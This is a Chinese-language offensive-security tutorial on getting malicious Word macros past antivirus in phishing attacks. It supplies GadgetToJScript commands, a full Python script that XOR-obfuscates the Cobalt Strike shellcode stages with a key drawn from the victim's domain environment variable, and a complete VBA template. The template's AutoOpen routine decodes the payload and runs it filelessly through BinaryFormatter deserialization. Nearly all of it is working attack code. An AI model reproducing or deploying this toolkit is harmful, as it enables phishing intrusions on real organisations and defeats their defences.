邮件攻防--宏免杀姿势2

众所周知,一般恶意样本或方法只要一公开就会被安全厂商分析,所以免杀不是绝对的,重点不在免杀而是思路

python真香, 能快速实现你想实现的想法

免杀测试过程:

  1. 对GadgetToJScript 生成的payload 直接贴入word文档 ,发现被杀
  2. 删除部分base64 编码过的字节码,发现不会被杀,说明是base64字节码部分被杀
  3. 写工具对base64 编码部分进行xor 混淆, key字段取当前环境中环境变量特定的值作为解密key,一般环境是没有该环境变量的

0x01 cobaltstrike 生成csharp shellcode

0x02 使用shellcode加载器:

csharp launcher

0x03 使用GadgetToJScript 生成vba

为什么用GadgetToJScript ? 反射执行,无文件落地,不用执行命令

1
2
3
4
5
# .net 3.5
.\GadgetToJScript.NET3.5.exe -r -w vba -e b64 -c ".\Class1.cs" -o test4

# .net 4.x
.\GadgetToJScript.NET4.x.exe -b -r -w vba -e b64 -c ".\Class1.cs" -o test5

0x04 对GadgetToJScript 生成的payload stage部分进行xor处理

  1. 生成处理后的vba
1
python3 vbaxor.py --vba payloads.vba --key wolvez.com
  1. 说明: 取环境变量中USERDNSDOMAIN 环境变量部分值(域环境才有该值)作xor 加密key
    如环境变量中 USERDNSDOMAIN 值 cn1.global.alibaba.com ,取alibaba.com 字符串作key,实际位置可以在模板文件中调整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
# -*- coding: UTF-8 -*-
from string import Template
import os
import base64
import re
import argparse

def xor_encrypt(tips, key):
ltips = len(tips)
lkey = len(key)
secret = []
num = 0
for each in tips:
if num >= lkey:
num = num % lkey
secret.append(chr(ord(each) ^ ord(key[num])))
num += 1
return base64.b64encode("".join(secret).encode("utf-8")).decode()

def color(string, color=None):

attr = []
# bold
attr.append('1')

if color:
if color.lower() == "red":
attr.append('31')
elif color.lower() == "green":
attr.append('32')
elif color.lower() == "blue":
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)

else:
if string.strip().startswith("[!]"):
attr.append('31')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[+]"):
attr.append('32')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[?]"):
attr.append('33')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[*]"):
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
return string


def convertFromTemplate(parameters, templateFile):
try:
with open(templateFile) as f:
src = Template(f.read())
result = src.substitute(parameters)
f.close()
return result
except IOError:
print(color("[!] Could not open or read template file [{}]".format(templateFile)))
return None



## 获取GadgetToJScript 生成的vba文件
'''
.\GadgetToJScript.NET4.x.exe -b -r -w vba -e b64 -c ".\Class1.cs" -o test5
'''



# 获取base64字符串
def getbase64(vbafile,key):
global stage_xor1
global stage_xor2
f = open(vbafile, "rb")
lines = f.read()
vbaContent = lines.decode()

# 获取 stage_1 base64值
stage_1 = ''
pattern = r'(?P<name>stage_1)\s*=\s*((?P=name)\s*&\s*)?"(?P<payload>[^"]+)"'
result = re.findall(pattern, vbaContent)
for r in result:
stage_1 += r[-1]

# 获取 stage_2 base64 值

stage_2 = ''
pattern2 = r'(?P<name>stage_2)\s*=\s*((?P=name)\s*&\s*)?"(?P<payload>[^"]+)"'
result2 = re.findall(pattern2, vbaContent)
for r1 in result2:
stage_2 += r1[-1]

#print(stage_2)
# 对stage_1 进行xor 混淆
# vba 取环境变量:
# myEnv = Environ("USERDNSDOMAIN")
# myEnv = Right(myEnv, 9)
# key = target.com
# cmd: echo %USERDNSDOMAIN%
#key = key
xor_stage_1 = xor_encrypt(stage_1, key)
# 对 stage_2 进行 xor混淆
xor_stage_2 = xor_encrypt(stage_2, key)

# 重组混淆过后的stage_1 字符串

num = 0
new_xor_stage_1 = ''
stage_xor1 = ''

new_xor_stage_1 = re.findall(r'.{,100}', xor_stage_1)
new_xor_stage_1 = '\n'.join(new_xor_stage_1)

for newline in new_xor_stage_1.split('\n'):
if len(newline):
num += 1
if num == 1:
stage_xor1 += 'stage_1 = "' + newline + '"' + "\n"
else:
stage_xor1 += ' stage_1 = stage_1 & "' + newline + '"' + "\n"

# 重组混淆后的 stage_2 字符串

num2 = 0
new_xor_stage_2 = ''
stage_xor2 = ''

new_xor_stage_2 = re.findall(r'.{,100}', xor_stage_2)
new_xor_stage_2 = '\n'.join(new_xor_stage_2)

for newline2 in new_xor_stage_2.split('\n'):
if len(newline2):
num2 += 1
if num2 == 1:
stage_xor2 += 'stage_2 = "' + newline2 + '"' + "\n"
else:
stage_xor2 += ' stage_2 = stage_2 & "' + newline2 + '"' + "\n"



def writeVBA(resultfile):
template = './templates.vba'
result = convertFromTemplate({'stage_xor1': stage_xor1, 'stage_xor2': stage_xor2}, template)
if result != None:
try:
fileName = resultfile
with open(fileName, "w+") as f:
f.write(result)
f.close()
print(color("[+] VBA code file saved in [{}]".format(fileName)))

except IOError:
print(color("[!] Could not write VBA code [{}]".format(fileName)))


if __name__ == '__main__':
parser = argparse.ArgumentParser(description="VBA XOR encrypt version 1.0 by wolvez",
epilog='Example :\n1. .\GadgetToJScript.NET4.x.exe -b -r -w vba -e b64 -c ".\Class1.cs" -o test\n2. vbaxor.py --vba test.vba -o serialize.vba')
parser = argparse.ArgumentParser()
parser.add_argument("--vba", help="input vba file", required=True)
parser.add_argument("--key", help="Victim System environment variables ", required=True)
parser.add_argument("--out-file", '-o', dest='outfile',default='./serialize.vba', help="output vba file")
args = parser.parse_args()
vba = args.vba
key = args.key
outfile = args.outfile
getbase64(vba, key)
writeVBA(outfile)

0x05 模板文件

templates.vba

Function XorC(ByVal sData As String, ByVal sKey As String) As String

        Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
        Dim bEncOrDec As Boolean
        Dim addVal

        If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function

        If Left(sData, 3) = "xxx" Then
            bEncOrDec = False 'decryption
            sData = Mid(sData, 4)
        Else
            bEncOrDec = True 'encryption
        End If

        byIn = sData
        byOut = sData
        byKey = sKey

        If bEncOrDec = True Then
            addVal = 32
        Else
            addVal = 1 * -32
        End If

        l = LBound(byKey)

        For i = LBound(byIn) To UBound(byIn) - 1 Step 2

            If (((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal) > 255 Then
                byOut(i) = (((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal) Mod 255 + addVal
            Else
                'If bEncOrDec Then
                If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal < 32 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal
                If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal > 255 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal
                If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) > 32 And (byIn(i) + Not bEncOrDec) Xor byKey(l) < 256 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l))
            End If
            l = l + 2

            If l > UBound(byKey) Then l = LBound(byKey)

        Next i

        XorC = byOut

        If bEncOrDec Then XorC = "xxx" & XorC 'add "xxx" onto encrypted text
End Function


Function myKey()
myEnv = Environ("USERDNSDOMAIN")
myEnv = Right(myEnv, 9)
myKey = myEnv
End Function

Function b64Decode(ByVal enc)
    Dim xmlObj, nodeObj
    Set xmlObj = CreateObject("Msxml2.DOMDocument.3.0")
    Set nodeObj = xmlObj.CreateElement("base64")
    nodeObj.dataType = "bin.base64"
    nodeObj.Text = enc
    b64Decode = nodeObj.nodeTypedValue
    Set nodeObj = Nothing
    Set xmlObj = Nothing
End Function

Function Exec()

    Dim stage_1, stage_2

    ${stage_xor1}


    ${stage_xor2}

    new_stage_1 = b64Decode(stage_1)
    Key = myKey
    Unicode_new_stage_1 = StrConv(new_stage_1, vbUnicode)
    de_stage_1 = XorC(Unicode_new_stage_1, Key)
    last_stage_1 = Replace(de_stage_1, "xxx", "", 4)

    new_stage_2 = b64Decode(stage_2)
    Unicode_new_stage_2 = StrConv(new_stage_2, vbUnicode)
    de_stage_2 = XorC(Unicode_new_stage_2, Key)
    last_stage_2 = Replace(de_stage_2, "xxx", "", 4)

    Dim stm_1 As Object, fmt_1 As Object

    manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?>"
    manifest = manifest & "<assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0"">"
    manifest = manifest & "<assemblyIdentity name=""mscorlib"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" />"
    manifest = manifest & "<clrClass clsid=""{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}"" progid=""System.Runtime.Serialization"
    manifest = manifest & ".Formatters.Binary.BinaryFormatter"" threadingModel=""Both"" name=""System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"" "
    manifest = manifest & "runtimeVersion=""v4.0.30319"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468B47}"" "
    manifest = manifest & "progid=""System.IO.MemoryStream"" threadingModel=""Both"" name=""System.IO.MemoryStream"" runtimeVersion=""v4.0.30319"" /></assembly>"


    Set actCtx = CreateObject("Microsoft.Windows.ActCtx")
    actCtx.ManifestText = manifest

    Set stm_1 = actCtx.CreateObject("System.IO.MemoryStream")
    Set fmt_1 = actCtx.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")

    Dim Decstage_1
    Decstage_1 = b64Decode(last_stage_1)

    For Each i In Decstage_1
        stm_1.WriteByte i
    Next i

    On Error Resume Next

    stm_1.Position = 0
    Dim o1 As Object
    Set o1 = fmt_1.Deserialize_2(stm_1)

    If Err.Number <> 0 Then
       Dim stm_2 As Object

       Set stm_2 = actCtx.CreateObject("System.IO.MemoryStream")

       Dim Decstage_2
       Decstage_2 = b64Decode(last_stage_2)

       For Each j In Decstage_2
        stm_2.WriteByte j
       Next j

       stm_2.Position = 0
       Dim o2 As Object
       Set o2 = fmt_1.Deserialize_2(stm_2)
    End If

End Function
Sub AutoOpen()
exec
End Sub

0x07 宏安全相关文章推荐:

宏病毒的研究与实例分析

关于宏的bypass学习

从一个野外 office 样本分析中学习 Excel 4.0 marco

恶意文档分析工具 oletools 使用说明